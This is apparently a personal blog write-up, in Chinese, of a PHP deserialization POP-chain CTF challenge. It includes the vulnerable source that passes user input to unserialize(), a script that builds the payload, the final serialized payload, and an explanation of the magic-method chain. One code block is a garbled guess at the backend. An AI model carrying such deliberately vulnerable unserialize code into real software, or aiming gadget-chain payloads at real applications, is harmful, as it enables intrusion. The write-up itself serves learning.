note-反序列化-01

pop链,我也不知道是什么

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。

[SWPUCTF 2021 新生赛]pop

我想tag可以有:pop链,反序列化
原题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

学了大佬的wp https://blog.csdn.net/u010723806/article/details/142340216
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

看完后应该是因为只能传w00m的值,而w44m中无法直接传入,要通过一场串相互关联的类才能传入,这大概就是pop链吧

先是 w22m 和 w33m 都能传入w00m,

$this->w00m->{$this->w22m}(); 最终的效果是动态调用 $this->w00m 对象中的一个方法,方法的名称由 $this->w22m 决定。而 这条语句的意思就是调用了在w33m里的w00m属性(这里是w00m类)中的w22m方法。

为什么先赋值 w22m

利用 w22m 的 __destruct 方法:
w22m 类的 __destruct 方法会输出 $this->w00m。
当 PHP 脚本结束时,或者当对象被销毁时,__destruct 方法会被自动调用。
这意味着,当我们反序列化一个 w22m 对象时,__destruct 方法会立即执行,从而触发后续的操作。

触发 w33m 的 __toString 方法:
w22m 的 __destruct 方法输出 $this->w00m,而 $this->w00m 是一个 w33m 对象。
当 PHP 需要将一个对象转换为字符串时(例如在 echo 中),会自动调用该对象的 __toString 方法。
因此,w33m 的 __toString 方法会被调用。

调用 w44m 的 Getflag 方法:
w33m 的 __toString 方法中,$this->w00m->{$this->w22m}() 会被执行。
这里的 $this->w00m 是一个 w44m 对象,而 $this->w22m 是字符串 ‘Getflag’。
因此,w44m 的 Getflag 方法会被调用。

我的理解是:整个构造的最终目的是为了执行 w44m 类中的 Getflag 方法

对于__toString(),要求是在它类里的变量被实例化时才会被触发。所以$p->w00m = new w33m();则不会触发__toString()。而后面$a->w00m->w00m=new w44m();语句为w33m类中的变量实例化后,才能使_toString()方法可被调用,进一步让$a->w00m->w22m=’Getflag’;语句生效。

当我们传递的参数中含有private变量时,一定要url编码一下,否则会有不可见字符导致解析出错。

这是我猜测后端代码接收到传入后的样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class w22m{
public (w00m)class w33m{
public class (w00m)w44m{

private $admin = 'w44m';
protected $passwd = '08067';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
public (w22m)'Getflag';
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
public function __destruct(){
echo $this->w00m;
}
}
?>




\

1
$this->w00m->{$this->w22m}();

q:

的意思是让将w22m的值作为参数输入w00m吗

kimi:

不是的,例如,如果 $this->w22m 的值是 ‘Getflag’,那么这行代码就相当于 $this->w00m->Getflag()。

q:

那就是执行w00m中的getflag()?

kimi:

是的,这行代码的意思是执行 $this->w00m 对象中的 Getflag() 方法

那么我看总的意思是:

将w22m中的w00m赋值为w33m的类
再将w22m中w00m(现已为w33m类)的w00m赋值为w44m的类
最后将w22m中的w00m(现已为w33m类)中的w22m赋值为‘GetFlag’
最后由于__toString()函数,会将改类下的w22m的值作为w44m中的的元素执行,那结果就是执行w44m中的Getflag
输出flag

wp作者:

1
2
3
4
5
6
7
8
$a=new w22m();//这段代码说明我们将w22m类赋值给a,现在可以将$a看做w22m类,所以现在$a中有一个属性w00m

$a->w00m=new w33m();//将w22m中的w00m属性调用(指向)w33m类:现在w22m中w00m属性有w33类中w00m和w22m两个属性。

$a->w00m->w00m=new w44m();//w22m类中w00m属性调用了w44m类

$a->w00m->w22m='Getflag';//使用了w44m类中的Getflag方法,()在w33m中_toString()方法被调用。
最后的效果就是在w44m中执行了Getflag()整个方法,输出了$flag的值。

https://blog.csdn.net/u010723806/article/details/142340216

最后payload

1
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

传入要型url编码,

当我们传递的参数中含有private变量时,一定要url编码一下,否则会有不可见字符导致解析出错


note-反序列化-01
https://aidemofashi.github.io/2025/03/19/note-反序列化-01/
作者
aidemofashi
发布于
2025年3月19日
许可协议